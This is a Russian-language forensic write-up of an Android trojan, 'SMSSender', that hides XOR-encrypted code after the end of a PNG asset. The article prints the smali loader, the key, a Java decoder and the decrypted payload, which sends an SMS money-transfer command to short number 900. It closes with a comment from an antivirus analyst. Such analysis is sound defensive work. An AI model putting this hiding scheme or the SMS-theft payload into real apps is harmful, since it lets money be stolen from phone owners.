С каждым днем смартфон аккумулирует в себе все больше информации — простой, критичной, интимной... Он управляет делами, деньгами и даже автомобилями. Вполне логично, что вирмейкеры все сильнее стремятся наложить лапу на это изобилие. Производители антивирусов не всегда успевают за их полетом мысли, и тогда в дело вступаем мы, хакеры. Ведь боролись же наши инженеры с вирусами, когда Aidstest еще и в проекте не было? 🙂


Перед прочтением рекомендуем освоить предыдущий материал из этой серии.
 

Способы сокрытия

Специалисты выделяют три наиболее распространенных способа противодействия криминалистическому исследованию приложений в ОС Android: обфускация, шифрование символьных строк и проверка окружения. Обфускация — это приведение исполняемого кода программы к виду, сохраняющему его функциональность, но затрудняющему анализ. Часть вредоносного кода может находиться в мультимедийных и графических файлах различных форматов, например MP3, PNG, GIF, AVI. Такой метод сокрытия кода называется компьютерной стеганографией.

 

Постановка задачи: куда-то уходят деньги

Требовалось установить, куда уходят деньги с мобильного счета жертвы. По результатам анализа приложений, имеющихся на смартфоне, подозрительным мне показалось нестандартное, но стремящееся обладать легитимным названием приложение SMSSender. Первым шагом стала декомпиляция приложения (про декомпиляцию мы писали в предыдущей статье), которая позволила получить необходимый для исследования код.

Дальше изучать файл (а именно определять содержащиеся в нем данные или команды) будем при помощи Android Studio — интегрированной среды разработки для работы с платформой Android. Начнем с файла AndroidManifest.xml, который содержит запросы для получения различных функций и прав на мобильном устройстве. В исследуемом файле имеется запрос SMS_SEND, который позволит приложению отправлять СМС.

Откроем метод onCreate класса Activation. Метод содержит следующий код:

new-instance v0, Lcl/catsboat/c;
invoke-direct {v0, p0}, Lcl/catsboat/c;-><init>(Lcl/catsboat/Main;)V
invoke-virtual {v0}, Lcl/catsboat/c;->

Анализ кода показывает, что после запуска приложения дополнительно открывается еще одно активное окно, которое не отображается на экране мобильного устройства.

Рассматривая класс cl/catsboat/c, нужно обратить внимание на строку со следующим кодом:

invoke-direct {v1, v2, v3}, Lcl/catsboat/a;-><init>(Landroid/content/Context;Landroid/os/Handler;)V

В этой строке есть обращение к классу a.smali. Конструкция класса содержит следующий код:

const-string v1, "image.png"
invoke-virtual {v0, v1}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
move-result-object v0
const-wide/16 v2, 0x3486
invoke-virtual {v0, v2, v3}, Ljava/io/InputStream;->skip(J)J
new-instance v1, Ljava/io/DataInputStream;
invoke-direct {v1, v0}, Ljava/io/DataInputStream;-><init>(Ljava/io/InputStream;)V

Этот блок кода создает объект, представляющий собой поток байтов для чтения из image.png, находящегося в папке Assets приложения SMSSender, далее пропускает первые 13 446 байт и создает на основе него поток для чтения Java-данных. Логично предположить, что в файле image.png имеется зашифрованный код, к которому обращается приложение после запуска.
Обратимся к классу cl/catsboat/a.smali. Его конструкция содержит следующий код:

sput-object v0, Lcl/catsboat/a;->a:[B // Задается ключ для расшифровки байт-кода
return-void
:array_0
.array-data 1
  0xat // Байт в шестнадцатеричной системе
  0x2t // Байт в шестнадцатеричной системе
  0x4t // Байт в шестнадцатеричной системе
  0x5t // Байт в шестнадцатеричной системе
  0x6t // Байт в шестнадцатеричной системе
  0x7t // Байт в шестнадцатеричной системе
  0x8t // Байт в шестнадцатеричной системе
  0x5ct // Байт в шестнадцатеричной системе
  0x2dt // Байт в шестнадцатеричной системе
  0x18t // Байт в шестнадцатеричной системе
  0x38t // Байт в шестнадцатеричной системе
  0x4et // Байт в шестнадцатеричной системе
.end array-data
.end method

Итоговый ключ в шестнадцатеричной системе — {10,2,4,5,6,7,8,92,45,24,56,78}.

Для получения зашифрованного кода в файле image.png необходимо с помощью шестнадцатеричного редактора WinHex и Java-приложения выполнить следующие действия.

  1. Открываем в редакторе изображение image.png, которое находится в каталоге \SMSSender\assets. Так как графическое изображение image имеет формат PNG, то его байт-код всегда заканчивается как 44 4Е 44 АЕ 42 60 82 (IEND®B). Переход к байт-коду покажет окончание файла, однако в исследуемом графическом изображении image после него идет дополнительный код, показанный на рис. 1.

    Рис. 1. Дополнительный код
    Рис. 1. Дополнительный код
  2. Копируем блок кода в отдельный файл, называем его night и сохраняем (рис. 2).

    Рис. 2. Создание файла night
    Рис. 2. Создание файла night
  3. Для расшифровки байт-кода используем приведенный ниже код, который читает первые 317 байт, по одному байту из файла night. Каждый из байтов XOR’им поочередно с байтом из буфера key и сохраняем их в буфер buf.

    Буфер buf выводим в системный поток:

    import java.io.*;
    public class test 
    {
      public static void main(String[] args) 
      {
        byte [] key = {10,2,4,5,6,7,8,92,45,24,56,78}; // Используем key из класса cl/catsboat/a.smali
        int kPos = 0;
        char[] buf = new char[317]; // Читаем первые 317 байт
        try
        {
          InputStream is = new FileInputStream(new File("c:\\night"));
          for(int i = 0;i<buf.length;i++) {
            if(is.available() == 0) break;
            buf[i] = (char)(is.read() ^ key[kPos]);
            kPos = (kPos == key.length - 1) ? 0 : (kPos + 1);
          }
          System.out.println(buf);
        }
        catch(Exception ex){}
      }
    }
  4. Создаем файл test с данным кодом в каталоге *\Java\jdk1.7.0_79\bin с расширением java. Далее открываем командную строку и переходим в каталог bin с помощью команды cd. *\Java\jdk1.7.0_79\bin. С использованием командной строки выполняем следующую команду: javac test.java, после этого в каталоге bin создается файл test.class. Для расшифровки байт-кода, находящегося в файле night, выполняем команду java -classpath . test.

    В консоли появится расшифрованный код:

    import android.content.Context; // Содержит классы для получения доступа и публикации данных на устройстве
    http://developer.android.com/reference/android/content/Context.html
    
    import android.telephony.SmsManager; // Управляет СМС-операциями, такими как отправка данных, текста и PDU-сообщений
    http://developer.android.com/reference/android/telephony/SmsManager.html
    
    import android.widget.Toast; // Управляет центром уведомления новых событий и подобным
    http://developer.android.com/reference/android/widget/Toast.html
    SmsManager m = SmsManager.getDefault();
    m.sendTextMessage("900", " null", "перевод 961ххххххх 1000", null, null);
    // (String destinationAddress, String scAddress, String text, PendingIntent sentIntent, PendingIntent deliveryIntent)
    r = new Runnable() {
     run() {
        Toast.makeText(ctx, "??Hasta la vista!",Toast.LENGTH_LONG).show();
      }
     }; // Показ информации после отправки сообщения
    http://startandroid.ru/ru/uroki/vse-uroki-spiskom/147-urok-84-handler-obrabotka-runnable.html
    h.post(r);
 

Итоги нашего расследования

По результатам анализа кода было установлено, что приложение отправляет СМС на номер 900 с текстом «перевод 961ххххххх 1000», где 961ххххххх — номер абонента, на который пересылаются денежные средства, а 1000 — их сумма. Данный метод может быть использован злоумышленником для хищения денежных средств с мобильных устройств и банковских карт. В связи с этим стоит отметить, что необходимо исследовать все вложения, являющиеся продолжением основного кода приложения.

Комментарий от специалиста
 

Александр Свириденко, программист-исследователь компании «Доктор Веб», разработчик Dr.Web Security Space для Android

Автор рассмотрел способ защиты угроз от исследований, который стал очень распространен в последнее время. Сейчас так делают все кому не лень, и аналитики находят подобные трояны пачками. Появились даже коммерческие программы, которые позволяют паковать так код, они продаются среди троянописателей. Это усложняет не только исследование вредоносного кода, но и детект подобных троянов традиционными способами. К счастью, сегодня существуют технологии, которые позволяют определять такие вредоносные программы автоматически, даже если они только вышли и еще не успели попасть к вирусным аналитикам. Но, судя по тому, как часто малварь пролезает на Google Play, технологии эти есть не у всех.

Вообще, бытует мнение, что Google фильтрует приложения только по их поведению на эмуляторах в момент теста. Ничего не произошло? Отлично, можно раздавать его людям. А то, что через месяц приложение просыпается и начинает вредить, уже никого не волнует.

Оставить мнение